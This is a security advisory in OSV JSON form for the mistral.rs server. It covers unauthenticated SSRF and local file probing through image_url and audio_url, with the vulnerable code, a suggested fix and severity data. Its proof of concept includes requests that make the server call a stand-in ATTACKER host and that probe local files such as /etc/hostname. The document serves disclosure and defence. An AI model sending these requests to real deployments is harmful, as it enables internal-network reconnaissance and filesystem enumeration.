GHSA-wfgq-w7cq-qj7j: Mistralrs server core Unauthenticated SSRF And Arbitrary Local Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wfgq-w7cq-qj7j",
  "modified" : "2026-09-10T21:54:14Z",
  "published" : "2026-09-10T21:54:14Z",
  "aliases" : [ ],
  "summary" : "mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url",
  "details" : "### Summary\nmistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a `file://` URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI `image_url` / `audio_url` message content. The server is unauthenticated by default.\n\n### Details\n`parse_image_url` in `mistralrs-server-core/src/util.rs` (lines 45-88) resolves the request string and fetches/opens it:\n\n```rust\nlet url = if let Ok(url) = url::Url::parse(url_unparsed) {\n    url\n} else if File::open(url_unparsed).await.is_ok() {            // a bare existing path (relative or absolute)\n    url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...\n} else { bail!(...) };\n\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n    reqwest::get(url.clone()).await ...                       // SSRF: no host/IP/allowlist check\n} else if url.scheme() == \"file\" {\n    File::open(path).await ... read                           // arbitrary local file read\n} else if url.scheme() == \"data\" { ... base64 ... };\n```\n\n`reqwest::get` has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The `file` scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. `parse_audio_url` (line 91) is identical for `audio_url`.\n\nThe value reaches this unvalidated: `mistralrs-server-core/src/chat_completion.rs` calls `parse_image_url(&url_unparsed)` / `parse_audio_url(&url_unparsed)` on the chat message content, at request time.\n\nFor reference, vLLM gates outbound media domains (`allowed_media_domains`) and local paths (`allowed_local_media_path`); mistral.rs has neither.\n\n### Suggested fix\nRestrict request-supplied media to `http(s)` and `data:`; do not resolve bare strings to local files and do not honor the `file` scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching `http(s)`, resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.\n\n### Proof of concept\nOn a default vision deployment, unauthenticated:\n\nSSRF - the server fetches the attacker URL during request processing:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"<vlm>\",\"messages\":[{\"role\":\"user\",\"content\":[\n  {\"type\":\"image_url\",\"image_url\":{\"url\":\"http://ATTACKER/probe\"}},\n  {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n```\n\nAn out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.\n\nArbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):\n\nexisting file (opened and read, then fails to decode):\n\n```\nPOST /v1/chat/completions\n{\"model\":\"<vlm>\",\"messages\":[{\"role\":\"user\",\"content\":[\n  {\"type\":\"image_url\",\"image_url\":{\"url\":\"/etc/hostname\"}},\n  {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-> 500, response body message: \"The image format could not be determined\"\n```\n\nnonexistent path:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"<vlm>\",\"messages\":[{\"role\":\"user\",\"content\":[\n  {\"type\":\"image_url\",\"image_url\":{\"url\":\"/nonexistent\"}},\n  {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-> 500, response body message: \"Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ...\"\n```\n\nThe difference is structural: `parse_image_url` (util.rs:48) takes the file branch only when `File::open(url_unparsed)` succeeds, otherwise it bails with \"file not found on server\" (util.rs:52); an existing-but-non-image file is read and then fails in `image::load_from_memory` (util.rs:87). The error response carries `sanitize_error_message` (util.rs:210), which returns the root-cause message, so both reach the client verbatim.\n\n### Impact\nAn attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied `file://` URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.\n\nAvailability (CVSS A:L): `reqwest::get` (util.rs:61) uses the default client, which has no timeout, and `http_resp.bytes()` (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The `file` branch allocates `vec![0; metadata.len()]` (util.rs:73) before reading, so pointing at a large local file does the same.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "mistralrs-server-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.18"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.17"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-wfgq-w7cq-qj7j"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/EricLBuehler/mistral.rs/commit/74793379649febc758b6a0d4b71aa6aeabc80f9c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/EricLBuehler/mistral.rs"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-10T21:54:14Z",
    "nvd_published_at" : null
  }
}